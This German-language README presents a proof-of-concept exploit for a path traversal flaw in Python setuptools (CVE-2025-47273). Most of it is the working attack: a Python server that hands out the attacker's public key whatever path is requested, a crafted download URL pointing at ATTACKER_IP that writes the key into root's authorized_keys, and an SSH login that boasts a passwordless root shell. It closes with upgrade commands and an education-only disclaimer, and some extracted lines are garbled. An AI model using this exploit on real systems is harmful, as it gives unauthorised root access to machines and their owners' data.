
CVE-2025-47273 — setuptools-Pfadumgehungs-PoC
Proof-of-Concept-Exploit für eine Pfad-Traversal-Schwachstelle in Python setuptools < 78.1.1.
Durch Missbrauch der _download_url-Funktion der PackageIndex-Komponente kann ein Angreifer beliebige Dateien an beliebige Stellen im Dateisystem schreiben – mit den Berechtigungen des Prozesses, der setuptools ausführt.
| Feld | Detail |
|---|
| 🎯 Ziel | Python setuptools < 78.1.1 |
| 🐛 Fehlerklasse | Pfad-Traversal (CWE-22) |
| 💥 Auswirkung | Beliebiges Dateischreiben |
| 📍 Angriffsvektor | Bösartige Paketindex-URL |
| 🔍 Grundursache | os.path.join() verwirft tmpdir, wenn das zweite Argument mit / beginnt |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex mit einer benutzergesteuerten URL auf# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys
Dieser Server antwortet auf jede GET-Anfrage mit Ihrem öffentlichen Schlüssel – unabhängig vom Pfad. setuptools wird den Pfad /USER/.ssh/authorized_keys anfordern, aber Ihren Schlüsselinhalt erhalten.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
Kein Passwort. Direkte Root-Shell. 🔑
Version 78.1.1 behebt das Problem.
| Paketmanager | Befehl |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ Manuell | setuptools releases |
Dieser Proof-of-Concept-Code (PoC) wird ausschließlich zu Bildungs- und autorisierten Penetrationstestzwecken bereitgestellt.